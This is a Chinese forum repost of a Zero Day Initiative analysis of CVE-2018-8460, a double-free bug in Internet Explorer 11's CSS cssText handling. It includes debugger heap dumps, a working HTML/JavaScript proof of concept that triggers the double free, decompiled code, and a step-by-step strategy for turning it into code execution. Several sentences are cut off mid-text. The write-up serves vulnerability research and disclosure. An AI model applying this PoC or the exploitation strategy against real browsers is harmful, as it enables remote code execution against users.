CVE-2018-8460：基于IE 11浏览器Double Free漏洞的远程代码执行

mss**** / 2018-10-19 21:32:15 / 浏览数 2454

原文：https://www.zerodayinitiative.com/blog/2018/10/18/cve-2018-8460-exposing-a-double-free-in-internet-explorer-for-code-execution

简介

最近，微软发布了Internet Explorer（IE）的更新补丁，修复了其中的CVE-2018-8460漏洞。在所有受支持的Windows版本中，IE 11都存在该漏洞。按照微软的说法，该漏洞是一种普通的“内存破坏”型漏洞，但实际上，该漏洞是由CSS机制中的Double Free漏洞所致，攻击者可以利用该漏洞发动远程代码执行攻击。因此，这是一个非常值得进一步研究的案例。

漏洞详解

实际上，该漏洞位于处理对属性cssText进行写操作的代码中。开发人员可以通过这个DOM属性来获取或设置CSS属性字符串，并可以通过一次操作检索或替换样式对象的全

在使用cssText属性为DOM中的元素指定样式过程中，IE将根据需要触发DOMAttributeModified事件。当攻击者处理DOMAttributeModified事件并将其用作重新输入css

```
0:021> x mshtml!CAttrArray::*destructor*
65a01338          MSHTML!CAttrArray::`scalar deleting destructor' (<no parameter
info>)
0:021> bp 65a01338  ".if (dwo(@ecx+4) < 0x100) { gc; }"
0:021> g
eax=00000000 ebx=0d499ff0 ecx=0d139fe0 edx=00000000 esi=0d0f4fb0 edi=0d3ac130
eip=65a01338 esp=0d3ac108 ebp=0d3ac130 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
MSHTML!CAttrArray::`scalar deleting destructor':
65a01338 8bff            mov     edi,edi
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for
C:\Windows\system32\iertutil.dll -
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for
C:\Program Files\Internet Explorer\IEShims.dll -
0:005> !heap -p -a @ecx
    address 0d139fe0 found in
    _DPH_HEAP_ROOT @ 1181000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -
VirtAddr         VirtSize)
                                cfb3fa4:          d139fe0               20 -
d139000             2000
    717a8e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
    773861fe ntdll!RtlDebugAllocateHeap+0x00000030
    7734a0d3 ntdll!RtlpAllocateHeap+0x000000c4
    773158e0 ntdll!RtlAllocateHeap+0x0000023a
    66205eee MSHTML!MemoryProtection::HeapAlloc<1>+0x00000037
    65b631b0 MSHTML!CStyle::CStyle+0x0000004c
    65b63127 MSHTML!CElement::GetStyleObject+0x00000073
    65a65883 MSHTML!CFastDOM::CHTMLElement::Trampoline_Get_style+0x00000109
    65142abd
jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x0000019d
    65142cd1
jscript9!<lambda_65561f67d80c79983adad1c189505294>::operator()+0x0000007b
    652da0d1 jscript9!Js::DictionaryTypeHandlerBase<unsigned
short>::GetProperty+0x000002ca
    65142e9b jscript9!Js::CustomExternalObject::GetPropertyImpl<1>+0x00000154
    651372d7
jscript9!Js::JavascriptOperators::GetProperty_Internal<0>+0x0000015a
    65142f0d jscript9!Js::CustomExternalObject::GetPropertyImpl<1>+0x00000111
    65142ed3
jscript9!Js::JavascriptOperators::GetProperty_Internal<0>+0x000000c8
    65276d96
jscript9!Js::JavascriptOperators::PatchGetValueNoFastPath+0x0000005e
    65140f54 jscript9!Js::InterpreterStackFrame::Process+0x00002e70
    651414d9 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x00000200


0:005> dd @ecx
0d139fe0  00011c7c 0000444e 200c0e10 e1c0a9e8
0d139ff0  0dea2ff8 00000002 00000000 00000000
0d13a000  ???????? ???????? ???????? ????????
0d13a010  ???????? ???????? ???????? ????????
0d13a020  ???????? ???????? ???????? ????????
0d13a030  ???????? ???????? ???????? ????????
0d13a040  ???????? ???????? ???????? ????????
0d13a050  ???????? ???????? ???????? ????????
0:005> dd 200c0e10 L 10*4
200c0e10  04091400 65ba8200 00000002 0000000f
200c0e20  0409140a 65ba8200 00000001 0000000f
200c0e30  04091400 65ba82d8 00000002 0000000f
200c0e40  0409140a 65ba82d8 00000001 0000000f
200c0e50  04090300 65badc44 00000001 01181020
200c0e60  04090300 65badd50 00000002 773158e0
200c0e70  808c1f0a 8001140b 0db6ffd0 01000002
200c0e80  808c1f0a 8001140b 0ddcafd0 7737dc44
200c0e90  84081f0a 8001140b 0db4ffd0 0d897ffa     <=== POINTER 0db4ffd0 HERE
200c0ea0  84081f0a 8001140b 0db4ffd0 0d897ffa     <=== ... AND HERE TOO!
200c0eb0  80000801 002dc6c1 09344fd4 0d3ab2e4
200c0ec0  80000801 002dc6c2 0d9d0fd4 00000012
200c0ed0  80000801 002dc6c3 0dff2fd4 00000012
200c0ee0  80000801 002dc6c4 0dff6fd4 00000012
200c0ef0  80000801 002dc6c5 0dffafd4 00000012
200c0f00  80000801 002dc6c6 0dffefd4 00000012
0:005> du 0db4ffd0
0db4ffd0  "char strict auto auto"
```

实际上，CStyleAttrArray中的字符串指针的重复现象是不应该出现的。因为，当这个CStyleAttrArray被销毁时，析构函数会对每个指针都调用一次HeapFree函数。由于列
Free漏洞。请注意，内存的分配是在Windows进程的堆上进行的，因此，MemGC在这里并不适用。

下面是用于触发Double Free漏洞的PoC代码：

```
<html>
<head>
        <meta http-equiv="Expires" content="-1">
<head>
<script>

var iterationCount = 0;

function testcase() {
Math.atan2(1,0);
elm = document.createElement('ins')
func = function(e) {
        iterationCount++;
        switch (iterationCount) {
                case 1:
                case 2:
                case 12:
                case 22:
                /*case 34:*/
                        this.style.cssText = '-ms-layout-grid: char strict auto
auto; -ms-layout-grid: none fixed 49cp auto;';
                        break;
        }
}
elm.addEventListener('DOMAttrModified', func, true)
elm.className = 'AAAAAAAAA'

for (i = 0; i < 0x4444; i++) {          // See text below for an explanation
        elm.style.setAttribute("-ms-xyz" + i, "1px 2px 3px 4px");
}

location.reload();

}
</script>

<body onload='testcase();'>
</html>
```

漏洞利用

Double
Free漏洞的利用方法非常有难度。这是因为当前的Windows堆管理器都进行了相应的安全加固处理，可以自动检测到HeapFree函数的参数是否为已经释放的堆块，如果是的

然而，利用Double
Free漏洞的方法是的确是存在的。准确来说，如果第一次调用HeapFree函数和第二次调用HeapFree函数的间隙，能够设法在被释放地址处重新分配内存的话，则可以完全绕

利用Double Free漏洞的策略总结如下：

1. 触发第一个HeapFree调用，释放位于地址A的对象X。
2. 引发新的内存分配操作，为新对象Y分配一段内存，让它位于地址A处。实际上，有时可能需要喷射许多对象，从而确保其中有一个对象位于A处。
3. 触发第二个HeapFree调用。这时将释放对象Y，因为Y位于A处。但是，对于Y的释放可能为时过早，因为在其他地方仍然可能还有尚未完成使命的指针还在指向它。
4. 触发新的内存分配操作，为第三个对象分配内容，仍然让它位于地址A处。我们将这个对象称为Z（如上所述，仍可能需要进行喷射操作）。
5. 触发用到对象Y的代码。这些代码的操作对象实际上是对象Z，因为当前位于地址A处的恰好就是对象Z。至此，已经具备了可利用的条件。

如果可以实现这些步骤，结果将是毁灭性的，因为攻击者对对象Y和Z的类型有很大的控制权。最有可能的情况是，这可以用于信息泄露和控制流劫持，从而发动完整的RCE攻

在上面的步骤2中，在两次释放操作之间进行可靠的内存分配可能是最具挑战性的。就本例来说，我们该如何做到这一点呢？让我们看看CAttrArray::Free中的代码，其中出现

```
while ( *((_DWORD *)this_ebx + 1) > 0 )
{
  pElements = *((_DWORD *)this_ebx + 2);
  pElement = (int *)*((_DWORD *)this_ebx + 2);
  v13.field_0 = *pElement;
  v13.field_8 = pElement[2];
  if ( (*((_DWORD *)this_ebx + 3) >> 1) & 1 )
    __debugbreak();
  size = *((_DWORD *)this_ebx + 1);
  if ( size > 0 )
  {
    v7 = size - 1;
    *((_DWORD *)this_ebx + 1) = v7;
    if ( v7 )
      _memmove((void *)pElements, (const void *)(pElements + 16), 16 * v7);
  }
  if ( BYTE1(v13.field_0) == 0x1F )
  {
LABEL_18:
    ProcessHeapFree(v13.field_8);
  }
  else ...                              // Lots more code here, see text below
}
```

简而言之，这里是一个循环结构。在每次迭代，它都会将第一个数组元素中的数据复制到临时结构（v13）中，并调用memmove将其余元素向前移动一个位置（即数组元素
(n^2)算法来清除数组。

由于存放重复指针的两个数组元素在数组中彼此相邻，因此，在两次调用ProcessHeapFree的间隙所能够执行的代码非常少。那么，我们如何才能在两次释放操作之间完成

请注意，在对ProcessHeapFree的连续调用间隙，还将调用memmove。假如我们可以将这个移动操作变成一个漫长的过程的话，就会在两次调用ProcessHeapFree间隙引

只有当攻击者能够控制memmove的大小时间使其变得非常大时，这种方法才能奏效。当我们研究这个漏洞时，结果让人大吃一惊：要想增加memmove的大小，只需向元

在这种情况下，更有希望的方法可能是找到一种修改PoC的方法，使得CStyleAttrArray中的重复指针不在相邻元素中，以便在两次调用ProcessHeapFree间隙可以运行更长

小结

读者可能已经注意到了，在服务器上，该漏洞的威胁程度为“中等”，但对于客户端来说，其威胁程度为“高危”。这是因为，在服务器上，IE在默认情况下会以增强安全配置（

"ESC"））下运行。如果禁用该功能的话，该漏洞对于服务器的威胁程度也会上升到高危级别。在漏洞利用指数方面，微软为这个漏洞的打分为1分，这意味着在接下来的30天

与往常一样，我可以在Twitter上找到@HexKitchen，并跟随团队获取最新的漏洞利用技术和安全补丁。

上一篇：XSS小结 下一篇：新手希望能够学习一点东西，正在读信...

1. 0 条回复
   - 动动手指，沙发就是你的了！